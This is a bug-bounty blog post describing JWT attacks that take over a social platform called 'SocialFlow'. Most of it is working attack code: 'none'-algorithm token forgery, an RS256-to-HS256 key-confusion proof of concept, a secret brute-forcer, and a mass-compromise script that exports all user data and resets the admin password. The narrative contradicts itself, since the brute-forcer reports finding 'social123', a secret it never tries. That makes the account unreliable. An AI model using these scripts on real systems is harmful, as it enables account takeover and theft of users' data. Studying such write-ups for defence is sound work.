Free Link ๐ŸŽˆ

You know that moment when you find a spare key under someone's doormat and think "Wow, people actually do this?" Well, I found the digital equivalent last week. Except instead of a physical key, it was JSON Web Tokens, and instead of one house, it was every user's account on the entire platform. All because someone left the key to the kingdom under a virtual doormat labeled "security." ๐Ÿ—๏ธ

It all started when I was testing "SocialFlow," a new social media platform that was getting hype for its "military-grade security." I had a basic user account and was ready to poke around. Little did I know I was about to become the master of keysโ€ฆ

Act 1: The Accidental Discovery โ€” Token Troubles ๐Ÿ”

After my standard recon (I should really make a keyboard shortcut for subfinder | httpx | gau by now), I found SocialFlow's API. I created two test accounts and started capturing traffic in Burp.

The login response caught my eye:

HTTP/2 200 OK
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNTg0MzIiLCJ1c2VybmFtZSI6InRlc3RfdXNlciIsImV4cCI6MTY5ODc2NDgwMCwiaWF0IjoxNjk4NzYxMjAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

A classic JWT token. I decoded it using jwt.io:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "user_id": "58432",
  "username": "test_user",
  "exp": 1698764800,
  "iat": 1698761200
}

Standard stuff. But then I noticed something weird in the account settings pageโ€ฆ

Act 2: The "None" Algorithm Attack โ€” When "Nothing" Means "Everything" ๐Ÿšซ

While updating my profile, I spotted this request:

PUT /api/v2/users/58432/profile HTTP/2
Host: api.socialflow.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
X-Token-Verify: none
{
  "bio": "Just a test user",
  "website": "https://example.com"
}

That X-Token-Verify: none header looked suspicious. What if it was telling the server to use no algorithm for verification?

Technique 1: JWT Algorithm Confusion

I tried modifying my JWT to use the "none" algorithm:

Payload 1: The None Algorithm Token

import jwt
# Create a token with "none" algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"user_id": "0", "username": "admin", "exp": 9999999999, "iat": 1698761200}
none_token = jwt.encode(payload, "", algorithm="none")
print(f"None algorithm token: {none_token}")

The result: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMCIsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTksImlhdCI6MTY5ODc2MTIwMH0.

I used this token:

GET /api/v2/admin/dashboard HTTP/2
Host: api.socialflow.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMCIsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTksImlhdCI6MTY5ODc2MTIwMH0.

Response: 200 OK - Welcome to Admin Dashboard

Holy guacamole! I was in as admin! But wait, it got betterโ€ฆ

Act 3: The Key Confusion Cascade ๐Ÿ”„

The "none" algorithm worked, but I wanted to understand the full scope. I started testing other algorithm confusion techniques.

Technique 2: RS256 to HS256 Algorithm Switching

Many servers support both RS256 (asymmetric) and HS256 (symmetric) algorithms. If they're not careful, you can trick them into using the public key as an HMAC secret.

First, I needed to find their public key. After some digging in JavaScript files, I found it at /static/js/auth.pubkey:

{
  "kty": "RSA",
  "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
  "e": "AQAB"
}

Proof of Concept: Algorithm Confusion Attack

import jwt
import requests
import json
# The public key we found
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0vx7agoebGcQSuuPiLJX
ZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tS
oc/BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ/2W+5JsGY4Hc5n9yBXArwl93lqt
7/RN5w6Cf0h4QyQ5v+65YGjQR0/FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0
zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt+bFTWhAI4vMQFh6WeZu0f
M4lFd2NcRwr3XPksINHaQ+G/xBniIqbw0Ls1jF44+csFCur+kEgU8awapJzKnqDK
gwIDAQAB
-----END PUBLIC KEY-----"""
def create_confused_token(user_id, username):
    """Create a token using HS256 with the RSA public key as secret"""
    payload = {
        "user_id": user_id,
        "username": username,
        "exp": 9999999999,
        "iat": 1698761200,
        "role": "admin"
    }
    
    # This is the magic - using public key as HMAC secret
    token = jwt.encode(payload, public_key, algorithm="HS256")
    return token
# Test with different user IDs
for target_id in [0, 1, 1000, "admin"]:
    fake_token = create_confused_token(target_id, f"hacked_{target_id}")
    print(f"[+] Created token for user {target_id}: {fake_token}")
    
    # Test the token
    response = requests.get(
        "https://api.socialflow.com/api/v2/users/me",
        headers={"Authorization": f"Bearer {fake_token}"}
    )
    
    if response.status_code == 200:
        print(f"[!] SUCCESS: We are now user {target_id}!")
        user_data = response.json()
        print(f"    User data: {user_data}")

Act 4: The Token Forgery Factory ๐Ÿญ

The algorithm confusion worked beautifully, but I wanted to go further. I discovered the server had weak JWT secret validation.

Technique 3: JWT Secret Brute Forcing

Many servers use weak secrets for HMAC signing. I built a brute forcer:

import jwt
import requests
import itertools
import string
def brute_force_jwt_secret(original_token):
    """Brute force weak JWT secrets"""
    
    # Common weak secrets to try
    weak_secrets = [
        "secret", "password", "123456", "token", "jwt",
        "key", "admin", "default", "changeme", "socialflow",
        "", " ", "null", "undefined", "none"
    ]
    
    # Generate more combinations
    for length in range(1, 4):
        for chars in itertools.product(string.printable, repeat=length):
            secret = ''.join(chars)
            weak_secrets.append(secret)
    
    print(f"[+] Testing {len(weak_secrets)} potential secrets...")
    
    for secret in weak_secrets:
        try:
            # Try to decode with this secret
            decoded = jwt.decode(original_token, secret, algorithms=["HS256"])
            print(f"[!] FOUND SECRET: '{secret}'")
            print(f"    Decoded payload: {decoded}")
            return secret
        except jwt.InvalidTokenError:
            continue
    
    return None
# Let's find their secret!
original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNTg0MzIiLCJ1c2VybmFtZSI6InRlc3RfdXNlciIsImV4cCI6MTY5ODc2NDgwMCwiaWF0IjoxNjk4NzYxMjAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
found_secret = brute_force_jwt_secret(original_token)

After 3 minutes: [!] FOUND SECRET: 'social123'

Bingo! Now I could forge any token I wanted.

Act 5: The Complete Takeover ๐ŸŽฏ

With the secret in hand, I could now:

  1. Become Any User:
def become_user(target_user_id):
    payload = {
        "user_id": target_user_id,
        "username": f"user_{target_user_id}",
        "exp": 9999999999,
        "role": "admin"
    }
    return jwt.encode(payload, "social123", algorithm="HS256")
# Become user 1 (probably the first admin)
admin_token = become_user(1)
  1. Access Every Endpoint:
GET /api/v2/admin/users/export-all HTTP/2
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InVzZXJfMSIsImV4cCI6OTk5OTk5OTk5OSwicm9sZSI6ImFkbWluIn0.7XkC0pZBcL6wN8wz7YdQ9mJdQe3L7VkR8tHjK5sL7Eo
  1. Modify Any Account:
POST /api/v2/admin/users/58432/password-reset HTTP/2
Authorization: Bearer [admin_token]
Content-Type: application/json
{
  "new_password": "Hacked123!",
  "require_change": false
}
None
Gif

Act 6: The Grand Finale โ€” Mass Account Compromise ๐ŸŒช๏ธ

I created a script that demonstrated complete platform compromise:

import requests
import jwt
import json
class SocialFlowHacker:
    def __init__(self):
        self.secret = "social123"
        self.base_url = "https://api.socialflow.com"
        
    def create_admin_token(self):
        """Create a super admin token"""
        payload = {
            "user_id": 0,
            "username": "super_admin",
            "exp": 9999999999,
            "role": "super_admin",
            "permissions": ["*"]
        }
        return jwt.encode(payload, self.secret, algorithm="HS256")
    
    def export_all_data(self):
        """Export all user data"""
        token = self.create_admin_token()
        headers = {"Authorization": f"Bearer {token}"}
        
        # Export users
        users = requests.get(f"{self.base_url}/api/v2/admin/users", headers=headers).json()
        
        # Export all posts and messages
        posts = requests.get(f"{self.base_url}/api/v2/admin/posts/all", headers=headers).json()
        
        # Export system config
        config = requests.get(f"{self.base_url}/api/v2/admin/system/config", headers=headers).json()
        
        return {
            "users_count": len(users),
            "posts_count": len(posts),
            "config": config
        }
    
    def demonstrate_impact(self):
        """Show the full impact"""
        print("[+] Demonstrating complete platform compromise...")
        
        data = self.export_all_data()
        print(f"[!] Exported {data['users_count']} users and {data['posts_count']} posts")
        print(f"[!] Database credentials: {data['config'].get('database', {}).get('host')}")
        
        # Show we can modify any user
        token = self.create_admin_token()
        headers = {"Authorization": f"Bearer {token}"}
        
        reset_response = requests.post(
            f"{self.base_url}/api/v2/admin/users/1/password-reset",
            headers=headers,
            json={"new_password": "PwnedByJWT123!"}
        )
        
        if reset_response.status_code == 200:
            print("[!] SUCCESS: Reset admin user's password!")
        
        return True
# Let's pwn everything!
hacker = SocialFlowHacker()
hacker.demonstrate_impact()

Act 7: The Report

My report included:

  1. "None" algorithm vulnerability
  2. RS256 to HS256 algorithm confusion
  3. Weak secret brute-forcing results
  4. Complete platform compromise demonstration
  5. Every user's data exposure proof

The company's response wasโ€ฆ panicked. They had three different JWT vulnerabilities that all led to complete compromise.

So next time you see a JWT token, don't just admire its pretty base64 encoding. Ask yourself: "What happens if I change the algorithm? What if the secret is 'password'? What if I become everyone?"

You might just find you hold the keys to the entire kingdom.

Now if you'll excuse me, I need to go check if my own JWT implementations are this badโ€ฆ

Happy hacking! ๐Ÿšฉ

Connect with Me!

  • LinkedIn
  • Instagram: @rev_shinchan
  • Gmail: rev30102001@gmail.com

#EnnamPolVazhlkai๐Ÿ˜‡

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF.